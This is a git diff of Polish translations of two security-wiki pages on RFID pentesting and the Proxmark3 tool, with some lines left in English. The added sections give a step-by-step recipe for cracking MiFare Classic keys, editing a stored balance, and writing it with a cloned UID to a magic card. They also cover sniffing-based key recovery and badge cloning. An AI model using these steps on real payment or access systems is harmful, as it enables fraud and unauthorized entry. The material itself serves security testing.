diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index 6cb905a02..56e5f4a0c 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -2,86 +2,86 @@ {{#include ../../banners/hacktricks-training.md}} -## Wprowadzenie +## Wstęp -**Radio Frequency Identification (RFID)** to najpopularniejsze rozwiązanie radiowe krótkiego zasięgu. Zwykle jest używane do przechowywania i przesyłania informacji identyfikujących podmiot. +**Radio Frequency Identification (RFID)** jest najpopularniejszym rozwiązaniem radiowym na krótkie odległości. Zazwyczaj służy do przechowywania i przesyłania informacji identyfikujących dany podmiot. -Tag RFID może polegać na **własnym źródle zasilania (aktywnym)**, takim jak wbudowana bateria, lub otrzymywać zasilanie z anteny odczytującej, wykorzystując prąd **indukowany z odbieranych fal radiowych** (**pasywny**). +Tag RFID może polegać na **własnym źródle zasilania (active)**, takim jak wbudowana bateria, albo otrzymywać zasilanie z anteny czytnika przy użyciu prądu **indukowanego z otrzymanych fal radiowych** (**passive**). ### Klasy -EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go kompatybilnym wstecz. +EPCglobal dzieli tagi RFID na sześć kategorii. Tag w każdej kategorii ma wszystkie możliwości wymienione w poprzedniej kategorii, co czyni go wstecznie kompatybilnym. -- Tagi **Klasy 0** to **pasywne** tagi działające w pasmach **UHF**. Producent **wstępnie programuje** je w fabryce. W rezultacie **nie można zmienić** informacji przechowywanych w ich pamięci. -- Tagi **Klasy 1** mogą również działać w pasmach **HF**. Ponadto mogą być **zapisywane tylko raz** po produkcji. Wiele tagów Klasy 1 może również przetwarzać **cykliczne sumy kontrolne** (CRC) poleceń, które otrzymują. CRC to kilka dodatkowych bajtów na końcu poleceń do wykrywania błędów. -- Tagi **Klasy 2** mogą być **zapisywane wielokrotnie**. -- Tagi **Klasy 3** mogą zawierać **wbudowane czujniki**, które mogą rejestrować parametry środowiskowe, takie jak aktualna temperatura lub ruch tagu. Tagi te są **półpasywne**, ponieważ chociaż **mają** wbudowane źródło zasilania, takie jak zintegrowana **bateria**, **nie mogą inicjować** bezprzewodowej **komunikacji** z innymi tagami lub czytnikami. -- Tagi **Klasy 4** mogą inicjować komunikację z innymi tagami tej samej klasy, co czyni je **aktywnymi tagami**. -- Tagi **Klasy 5** mogą dostarczać **zasilanie innym tagom i komunikować się ze wszystkimi poprzednimi klasami tagów**. Tagi Klasy 5 mogą działać jako **czytniki RFID**. +- **Class 0** tags are **passive** tags that operate in **UHF** bands. The vendor **preprograms** them at the production factory. As a result, you **can’t change** the information stored in their memory. +- **Class 1** tags can also operate in **HF** bands. In addition, they can be **written only once** after production. Many Class 1 tags can also process **cyclic redundancy checks** (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection. +- **Class 2** tags can be **written multiple times**. +- **Class 3** tags can contain **embedded sensors** that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are **semi-passive**, because although they **have** an embedded power source, such as an integrated **battery**, they **can’t initiate** wireless **communication** with other tags or readers. +- **Class 4** tags can initiate communication with other tags of the same class, making them **active tags**. +- **Class 5** tags can provide **power to other tags and communicate with all the previous tag** classes. Class 5 tags can act as **RFID readers**. ### Informacje przechowywane w tagach RFID -Pamięć tagu RFID zazwyczaj przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** **podmiot**, do którego tag jest przypisany (dane te obejmują pola zdefiniowane przez użytkownika, takie jak konta bankowe); **dane uzupełniające**, które dostarczają **dalszych** **szczegółów** dotyczących podmiotu; **dane kontrolne**, używane do wewnętrznej **konfiguracji** tagu; oraz **dane producenta** tagu, które zawierają Unikalny Identyfikator tagu (**UID**) oraz szczegóły dotyczące **produkcji**, **typu** i **producenta** tagu. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; ostatnie dwa mogą się różnić w zależności od producenta tagu. +Pamięć taga RFID zwykle przechowuje cztery rodzaje danych: **dane identyfikacyjne**, które **identyfikują** podmiot, do którego przypisany jest tag (te dane mogą zawierać pola definiowane przez użytkownika, np. konta bankowe); **dane uzupełniające**, które dostarczają **dalszych** informacji o podmiocie; **dane kontrolne**, używane do wewnętrznej **konfiguracji** taga; oraz **dane producenta**, które zawierają unikalny identyfikator taga (UID) i szczegóły dotyczące **produkcji**, **typu** i **dostawcy** taga. Pierwsze dwa rodzaje danych znajdziesz we wszystkich komercyjnych tagach; dwa ostatnie mogą się różnić w zależności od dostawcy taga. -Standard ISO określa wartość Identyfikatora Rodziny Aplikacji (**AFI**), kod, który wskazuje **rodzaj obiektu**, do którego tag należy. Innym ważnym rejestrem, również określonym przez ISO, jest Identyfikator Formatu Przechowywania Danych (**DSFID**), który definiuje **logiczne zorganizowanie danych użytkownika**. +Standard ISO określa wartość Application Family Identifier (**AFI**), kod wskazujący **rodzaj obiektu**, do którego należy tag. Innym ważnym rejestrem, również określonym przez ISO, jest Data Storage Format Identifier (**DSFID**), który definiuje **logiczny układ danych użytkownika**. -Większość **kontroli bezpieczeństwa RFID** ma mechanizmy, które **ograniczają** operacje **odczytu** lub **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokujące** wykorzystują dane przechowywane w pamięci kontrolnej i mają **domyślne hasła** wstępnie skonfigurowane przez producenta, ale pozwalają właścicielom tagów na **konfigurowanie niestandardowych haseł**. +Większość mechanizmów zabezpieczeń RFID ma sposoby **ograniczania** operacji **odczytu** i **zapisu** na każdym bloku pamięci użytkownika oraz na specjalnych rejestrach zawierających wartości AFI i DSFID. Te **mechanizmy blokujące** wykorzystują dane przechowywane w pamięci kontrolnej i mają **domyślne hasła** skonfigurowane przez dostawcę, ale pozwalają właścicielom tagów **skonfigurować własne hasła**. ### Porównanie tagów niskiej i wysokiej częstotliwości
-## Tagi RFID o niskiej częstotliwości (125 kHz) +## Low-Frequency RFID Tags (125kHz) -**Tagi o niskiej częstotliwości** są często używane w systemach, które **nie wymagają wysokiego bezpieczeństwa**: dostęp do budynków, klucze do domofonów, karty członkowskie na siłownię itp. Dzięki większemu zasięgowi są wygodne w użyciu do płatnych parkingów: kierowca nie musi zbliżać karty do czytnika, ponieważ jest aktywowana z większej odległości. Jednocześnie tagi o niskiej częstotliwości są bardzo prymitywne, mają niski wskaźnik transferu danych. Z tego powodu niemożliwe jest wdrożenie złożonego dwukierunkowego transferu danych, na przykład do utrzymywania salda i kryptografii. Tagi o niskiej częstotliwości przesyłają tylko swoje krótkie ID bez żadnych środków uwierzytelniających. +**Low-frequency tags** są często używane w systemach, które **nie wymagają wysokiego poziomu bezpieczeństwa**: dostęp do budynków, klucze interkomu, karty członkowskie do siłowni itp. Ze względu na większy zasięg są wygodne do stosowania w płatnych parkingach: kierowca nie musi zbliżać karty do czytnika, ponieważ jest wykrywana z większej odległości. Jednocześnie tagi niskoczęstotliwościowe są bardzo prymitywne i mają niską przepustowość danych. Z tego powodu niemożliwe jest wdrożenie złożonej dwukierunkowej komunikacji dla takich funkcji jak utrzymanie salda czy kryptografia. Tagi niskoczęstotliwościowe transmitują jedynie krótki ID bez mechanizmów uwierzytelniania. -Urządzenia te polegają na technologii **pasywnego** **RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej używa się 125 kHz do 134 kHz: +Te urządzenia opierają się na technologii **passive RFID** i działają w **zakresie od 30 kHz do 300 kHz**, chociaż częściej stosuje się 125 kHz do 134 kHz: -- **Długi zasięg** — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do metra. Często są używane na parkingach. -- **Prymitywny protokół** — z powodu niskiego wskaźnika transferu danych te tagi mogą przesyłać tylko swoje krótkie ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Gdy tylko karta znajdzie się w zasięgu czytnika, zaczyna po prostu przesyłać swoje ID. -- **Niskie bezpieczeństwo** — te karty mogą być łatwo kopiowane, a nawet odczytywane z kieszeni kogoś innego z powodu prymitywności protokołu. +- **Long Range** — niższa częstotliwość przekłada się na większy zasięg. Istnieją czytniki EM-Marin i HID, które działają z odległości do około metra. Często są wykorzystywane na parkingach. +- **Primitive protocol** — ze względu na niską przepustowość tych tagów mogą one jedynie przesyłać swój krótki ID. W większości przypadków dane nie są uwierzytelniane i nie są w żaden sposób chronione. Gdy tylko karta znajdzie się w zasięgu czytnika, zaczyna po prostu nadawać swój ID. +- **Low security** — Te karty można łatwo skopiować, a nawet odczytać z czyjejś kieszeni z powodu prymitywności protokołu. **Popularne protokoły 125 kHz:** -- **EM-Marin** — EM4100, EM4102. Najpopularniejszy protokół w CIS. Może być odczytywany z odległości około metra z powodu swojej prostoty i stabilności. -- **HID Prox II** — protokół niskiej częstotliwości wprowadzony przez HID Global. Ten protokół jest bardziej popularny w krajach zachodnich. Jest bardziej złożony, a karty i czytniki dla tego protokołu są stosunkowo drogie. -- **Indala** — bardzo stary protokół niskiej częstotliwości, który został wprowadzony przez Motorolę, a później nabyty przez HID. Rzadziej można go spotkać w terenie w porównaniu do poprzednich dwóch, ponieważ wychodzi z użycia. +- **EM-Marin** — EM4100, EM4102. Najpopularniejszy protokół na obszarze CIS. Można go odczytać z około metra ze względu na prostotę i stabilność. +- **HID Prox II** — low-frequency protocol wprowadzony przez HID Global. Ten protokół jest bardziej popularny w krajach zachodnich. Jest bardziej złożony, a karty i czytniki dla tego protokołu są stosunkowo drogie. +- **Indala** — bardzo stary low-frequency protocol wprowadzony przez Motorolę, a później przejęty przez HID. Rzadziej spotykany w praktyce w porównaniu do dwóch poprzednich, ponieważ wychodzi z użycia. -W rzeczywistości istnieje znacznie więcej protokołów niskiej częstotliwości. Ale wszystkie one używają tej samej modulacji na warstwie fizycznej i mogą być uważane, w ten czy inny sposób, za wariację tych wymienionych powyżej. +W rzeczywistości istnieje znacznie więcej protokołów niskoczęstotliwościowych. Jednak wszystkie używają tej samej modulacji na warstwie fizycznej i mogą być uważane, w pewnym sensie, za wariację wymienionych powyżej. ### Atak -Możesz **zaatakować te tagi za pomocą Flipper Zero**: +Możesz **atakować te Tagi za pomocą Flipper Zero**: {{#ref}} flipper-zero/fz-125khz-rfid.md {{#endref}} -## Tagi RFID o wysokiej częstotliwości (13.56 MHz) +## High-Frequency RFID Tags (13.56 MHz) -**Tagi o wysokiej częstotliwości** są używane do bardziej złożonej interakcji między czytnikiem a tagiem, gdy potrzebna jest kryptografia, duży dwukierunkowy transfer danych, uwierzytelnianie itp.\ -Zwykle występują w kartach bankowych, transporcie publicznym i innych zabezpieczonych przepustkach. +**High-frequency tags** są używane do bardziej złożonej interakcji czytnik–tag, kiedy potrzebujesz kryptografii, dużej dwukierunkowej transmisji danych, uwierzytelniania itp.\ +Zwykle występują w kartach bankowych, biletach komunikacji miejskiej i innych bezpiecznych przepustkach. -**Tagi o wysokiej częstotliwości 13.56 MHz to zestaw standardów i protokołów**. Zwykle określa się je jako [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale to nie zawsze jest poprawne. Podstawowy zestaw protokołów używanych na poziomie fizycznym i logicznym to ISO 14443. Protokóły na wyższym poziomie, a także alternatywne standardy (takie jak ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **Near Field Communication (NFC)**, termin dla urządzeń działających na częstotliwości 13.56 MHz. +**High-frequency 13.56 MHz tags are a set of standards and protocols**. Często nazywa się je [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), ale nie zawsze jest to poprawne. Podstawowy zestaw protokołów używany na poziomie fizycznym i logicznym to ISO 14443. Protokoły wyższego poziomu, jak również alternatywne standardy (np. ISO 19092), opierają się na nim. Wiele osób odnosi się do tej technologii jako **Near Field Communication (NFC)** — terminu dla urządzeń pracujących na częstotliwości 13.56 MHz.
-Mówiąc prosto, architektura NFC działa w ten sposób: protokół transmisji jest wybierany przez firmę produkującą karty i wdrażany na podstawie niskopoziomowego ISO 14443. Na przykład, NXP wynalazł własny protokół transmisji na wyższym poziomie o nazwie Mifare. Ale na niższym poziomie karty Mifare opierają się na standardzie ISO 14443-A. +Mówiąc najprościej, architektura NFC wygląda tak: protokół transmisji wybiera firma produkująca karty i implementuje go na podstawie niskopoziomowego ISO 14443. Na przykład NXP wynalazło własny protokół transmisji wysokiego poziomu o nazwie Mifare. Jednak na niższym poziomie karty Mifare bazują na standardzie ISO 14443-A. -Flipper może współdziałać zarówno z niskopoziomowym protokołem ISO 14443, jak i protokołem transferu danych Mifare Ultralight oraz EMV używanym w kartach bankowych. Pracujemy nad dodaniem wsparcia dla Mifare Classic i NFC NDEF. Dokładne spojrzenie na protokoły i standardy, które tworzą NFC, zasługuje na osobny artykuł, który planujemy opublikować później. +Flipper może współdziałać zarówno z niskopoziomowym protokołem ISO 14443, jak i z protokołem transferu danych Mifare Ultralight oraz EMV używanym w kartach bankowych. Pracujemy nad dodaniem wsparcia dla Mifare Classic i NFC NDEF. Dokładne omówienie protokołów i standardów składających się na NFC zasługuje na osobny artykuł, który planujemy opublikować później. -Wszystkie karty o wysokiej częstotliwości oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jako numer seryjny karty, jak adres MAC karty sieciowej. **Zwykle UID ma długość 4 lub 7 bajtów**, ale rzadko może sięgać **do 10**. UID nie jest tajemnicą i jest łatwo odczytywalny, **czasami nawet wydrukowany na samej karcie**. +Wszystkie karty wysokoczęstotliwościowe oparte na standardzie ISO 14443-A mają unikalny identyfikator chipu. Działa on jak numer seryjny karty, podobnie jak adres MAC karty sieciowej. **Zwykle UID ma długość 4 lub 7 bajtów**, ale rzadko może sięgać **aż 10**. UID nie są tajne i są łatwo czytelne, **czasami nawet nadrukowane na samej karcie**. -Istnieje wiele systemów kontroli dostępu, które polegają na UID do **uwierzytelniania i przyznawania dostępu**. Czasami dzieje się to **nawet** wtedy, gdy tagi RFID **obsługują kryptografię**. Tego rodzaju **niewłaściwe użycie** obniża je do poziomu głupich **kart 125 kHz** pod względem **bezpieczeństwa**. Wirtualne karty (takie jak Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie mogli otwierać drzwi za pomocą aplikacji płatniczej. +Wiele systemów kontroli dostępu opiera się na UID, aby **uwierzytelnić i przyznać dostęp**. Czasami dzieje się to **nawet** gdy tagi RFID **obsługują kryptografię**. Tego rodzaju **nadużycie** sprowadza je do poziomu głupich **kart 125 kHz** pod względem **bezpieczeństwa**. Karty wirtualne (np. Apple Pay) używają dynamicznego UID, aby właściciele telefonów nie otwierali drzwi swoją aplikacją płatniczą. -- **Niski zasięg** — karty o wysokiej częstotliwości są specjalnie zaprojektowane tak, aby musiały być umieszczane blisko czytnika. Pomaga to również chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, a to było z niestandardowymi czytnikami o dużym zasięgu. -- **Zaawansowane protokoły** — prędkości transferu danych do 424 kbps pozwalają na złożone protokoły z pełnoprawnym dwukierunkowym transferem danych. Co z kolei **umożliwia kryptografię**, transfer danych itp. -- **Wysokie bezpieczeństwo** — karty bezstykowe o wysokiej częstotliwości w żaden sposób nie ustępują kartom inteligentnym. Istnieją karty, które obsługują kryptograficznie silne algorytmy, takie jak AES, i wdrażają kryptografię asymetryczną. +- **Low range** — karty high-frequency są zaprojektowane tak, aby trzeba było je umieścić blisko czytnika. To pomaga chronić kartę przed nieautoryzowanymi interakcjami. Maksymalny zasięg odczytu, który udało nam się osiągnąć, wynosił około 15 cm, i to przy użyciu niestandardowych czytników o dużym zasięgu. +- **Advanced protocols** — prędkości transferu danych do 424 kbps umożliwiają złożone protokoły z pełną dwukierunkową transmisją danych, co z kolei **pozwala na kryptografię**, transfer danych itp. +- **High security** — bezstykowe karty high-frequency nie ustępują inteligentnym kartom. Istnieją karty obsługujące kryptograficznie silne algorytmy, takie jak AES, oraz implementujące kryptografię asymetryczną. ### Atak -Możesz **zaatakować te tagi za pomocą Flipper Zero**: +Możesz **atakować te Tagi za pomocą Flipper Zero**: {{#ref}} @@ -95,9 +95,55 @@ Lub używając **proxmark**: proxmark-3.md {{#endref}} -### Budowanie przenośnego klonera HID MaxiProx 125 kHz +### MiFare Classic offline stored-value tampering (broken Crypto1) -Jeśli potrzebujesz **rozwiązania o dużym zasięgu**, **zasilanego z baterii** do zbierania identyfikatorów HID Prox® podczas działań red-team, możesz przekształcić zamontowany na ścianie **czytnik HID MaxiProx 5375** w samodzielny kloner, który zmieści się w plecaku. Pełna mechaniczna i elektryczna instrukcja jest dostępna tutaj: +Gdy system przechowuje saldo pieniężne bezpośrednio na karcie MiFare Classic, często można je manipulować, ponieważ Classic używa przestarzałego szyfru Crypto1 firmy NXP. Crypto1 został złamany wiele lat temu, co umożliwia odzyskanie kluczy sektorów i pełny odczyt/zapis pamięci karty przy użyciu powszechnego sprzętu (np. Proxmark3). + +Ogólny przebieg procesu (abstrahowany): + +1) Zgrać zawartość oryginalnej karty i odzyskać klucze +```bash +# Attempt all built-in Classic key recovery attacks and dump the card +hf mf autopwn +``` +To zwykle odzyskuje klucze sektorów (A/B) i generuje pełny zrzut karty w folderze client dumps. + +2) Zlokalizuj i zrozum value/integrity fields + +- Wykonaj legalne doładowania na oryginalnej karcie i zrób kilka zrzutów (przed/po). +- Wykonaj diff obu zrzutów, aby zidentyfikować zmieniające się bloki/bajty, które reprezentują saldo i ewentualne pola integralności. +- Wiele wdrożeń Classic albo używa natywnego "value block" encoding, albo implementuje własne sumy kontrolne (np. XOR salda z innym polem i stałą). Po zmianie salda przelicz odpowiednio bajty integralności i upewnij się, że wszystkie zduplikowane/komplementowane pola są spójne. + +3) Zapisz zmodyfikowany zrzut na zapisywalnym “Chinese magic” Classic tag +```bash +# Load a modified binary dump onto a UID-changeable Classic tag +hf mf cload -f modified.bin +``` +4) Sklonuj oryginalne UID, aby terminale rozpoznały kartę +```bash +# Set the UID on a UID-changeable tag (gen1a/gen2 magic) +hf mf csetuid -u +``` +5) Użycie przy terminalach + +Czytelnicy, którzy ufają saldu zapisanemu na karcie i UID, zaakceptują zmodyfikowaną kartę. Obserwacje w terenie pokazują, że wiele wdrożeń ogranicza salda na podstawie szerokości pola (np. 16-bit fixed-point). + +Uwagi + +- Jeśli system używa natywnych Classic value blocks, pamiętaj o formacie: value (4B) + ~value (4B) + value (4B) + block address + ~address. Wszystkie części muszą się zgadzać. +- Dla niestandardowych formatów z prostymi sumami kontrolnymi, analiza różnicowa jest najszybszym sposobem wydedukowania funkcji integralności bez reverse-engineeringu firmware. +- Tylko UID-changeable tags ("Chinese magic" gen1a/gen2) pozwalają na zapis block 0/UID. Normalne Classic cards mają read-only UIDs. + +For hands-on Proxmark3 commands, see: + + +{{#ref}} +proxmark-3.md +{{#endref}} + +### Budowa przenośnego HID MaxiProx 125 kHz Mobile Cloner + +Jeśli potrzebujesz **long-range**, **battery-powered** rozwiązania do zbierania identyfikatorów HID Prox® podczas red-team engagements, możesz przekształcić montowany na ścianie czytnik **HID MaxiProx 5375** w samodzielny cloner mieszczący się w plecaku. Pełny mechaniczny i elektryczny opis krok po kroku jest dostępny tutaj: {{#ref}} @@ -106,9 +152,12 @@ maxiprox-mobile-cloner.md --- -## Odniesienia +## References - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together) +- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/) +- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security) +- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md index 90321eefb..e03b900c8 100644 --- a/src/todo/radio-hacking/proxmark-3.md +++ b/src/todo/radio-hacking/proxmark-3.md @@ -4,13 +4,13 @@ ## Atakowanie systemów RFID za pomocą Proxmark3 -Pierwszą rzeczą, którą musisz zrobić, to mieć [**Proxmark3**](https://proxmark.com) i [**zainstalować oprogramowanie i jego zależności**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**e**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). +Pierwszą rzeczą, którą musisz zrobić, jest posiadanie [**Proxmark3**](https://proxmark.com) oraz [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). -### Atakowanie MIFARE Classic 1KB +### Attacking MIFARE Classic 1KB -Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0 bloku 0 (i nie można go zmienić).\ -Aby uzyskać dostęp do każdego sektora, potrzebujesz **2 kluczy** (**A** i **B**), które są przechowywane w **bloku 3 każdego sektora** (trailer sektora). Trailer sektora przechowuje również **bity dostępu**, które dają **uprawnienia do odczytu i zapisu** na **każdym bloku** przy użyciu 2 kluczy.\ -2 klucze są przydatne do nadawania uprawnień do odczytu, jeśli znasz pierwszy, i zapisu, jeśli znasz drugi (na przykład). +Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0, bloku 0 (i nie może być zmieniony).\ +Aby uzyskać dostęp do każdego sektora potrzebujesz **2 kluczy** (**A** i **B**), które są zapisane w **bloku 3 każdego sektora** (sector trailer). Sector trailer przechowuje również **bity dostępu**, które określają uprawnienia do **odczytu i zapisu** dla **każdego bloku** przy użyciu tych dwóch kluczy.\ +2 klucze mogą być użyte do nadawania uprawnień: odczyt jeśli znasz pierwszy, i zapis jeśli znasz drugi (na przykład). Można przeprowadzić kilka ataków ```bash @@ -31,11 +31,37 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card ``` -Proxmark3 pozwala na wykonywanie innych działań, takich jak **podsłuchiwanie** komunikacji **Tag do Reader**, aby spróbować znaleźć wrażliwe dane. W tej karcie możesz po prostu przechwycić komunikację i obliczyć używany klucz, ponieważ **operacje kryptograficzne są słabe**, a znając tekst jawny i szyfrowany, możesz go obliczyć (narzędzie `mfkey64`). +Proxmark3 pozwala wykonywać inne akcje, takie jak **eavesdropping** **Tag to Reader communication**, aby spróbować znaleźć wrażliwe dane. W przypadku tej karty możesz po prostu podsłuchać komunikację i obliczyć użyty klucz, ponieważ **użyte operacje kryptograficzne są słabe**, a znając tekst jawny i szyfrogram możesz go obliczyć (narzędzie `mfkey64`). -### Surowe Komendy +#### MiFare Classic szybki przebieg nadużyć kart z przechowywaną wartością +```bash +# 1) Recover sector keys and dump full card +proxmark3> hf mf autopwn -Systemy IoT czasami używają **tagów nieznakowanych lub niekomercyjnych**. W takim przypadku możesz użyć Proxmark3 do wysyłania niestandardowych **surowych komend do tagów**. +# 2) Modify dump offline (adjust balance + integrity bytes) +# Use diffing of before/after top-up dumps to locate fields + +# 3) Write modified dump to a UID-changeable ("Chinese magic") tag +proxmark3> hf mf cload -f modified.bin + +# 4) Clone original UID so readers recognize the card +proxmark3> hf mf csetuid -u +``` +Uwagi + +- `hf mf autopwn` orkiestruje ataki w stylu nested/darkside/HardNested, odzyskuje klucze i tworzy zrzuty w client dumps folder. +- Zapis bloku 0/UID działa tylko na kartach magic gen1a/gen2. Normalne karty Classic mają UID tylko do odczytu. +- Wiele wdrożeń używa Classic "value blocks" lub prostych sum kontrolnych. Upewnij się, że wszystkie zduplikowane/uzupełnione pola i sumy kontrolne są spójne po edycji. + +Zobacz metodologię na wyższym poziomie i środki łagodzące w: + +{{#ref}} +pentesting-rfid.md +{{#endref}} + +### Raw Commands + +IoT systems sometimes use **tagi bez marki lub niekomercyjne**. W tym przypadku możesz użyć Proxmark3 do wysłania niestandardowych **raw commands** do tagów. ```bash proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 SAK : 08 [2] @@ -45,14 +71,21 @@ No chinese magic backdoor command detected Prng detection: WEAK Valid ISO14443A Tag Found - Quiting Search ``` -Dzięki tym informacjom możesz spróbować wyszukać informacje o karcie i o sposobie komunikacji z nią. Proxmark3 pozwala na wysyłanie surowych poleceń, takich jak: `hf 14a raw -p -b 7 26` +Mając te informacje możesz spróbować wyszukać informacje o karcie oraz o sposobie komunikacji z nią. Proxmark3 pozwala wysyłać raw commands, na przykład: `hf 14a raw -p -b 7 26` -### Skrypty +### Scripts -Oprogramowanie Proxmark3 zawiera wstępnie załadowaną listę **skryptów automatyzacji**, które możesz wykorzystać do wykonywania prostych zadań. Aby uzyskać pełną listę, użyj polecenia `script list`. Następnie użyj polecenia `script run`, a następnie nazwy skryptu: +Oprogramowanie Proxmark3 zawiera wstępnie załadowaną listę **skryptów automatyzujących**, których możesz użyć do wykonywania prostych zadań. Aby pobrać pełną listę, użyj polecenia `script list`. Następnie użyj polecenia `script run`, po którym podajesz nazwę skryptu: ``` proxmark3> script run mfkeys ``` -Możesz stworzyć skrypt do **fuzz tag readers**, więc kopiując dane z **ważnej karty**, wystarczy napisać **skrypt Lua**, który **losuje** jeden lub więcej losowych **bajtów** i sprawdza, czy **czytnik się zawiesza** przy jakiejkolwiek iteracji. +Możesz stworzyć skrypt do **fuzz tag readers** — kopiując dane z **prawidłowej karty**, po prostu napisz **Lua script**, który **losowo zmienia** jeden lub więcej losowych **bytes** i sprawdzi, czy **reader crashes** przy którejkolwiek iteracji. + +## Referencje + +- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare) +- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards) +- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/) +- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/) {{#include ../../banners/hacktricks-training.md}}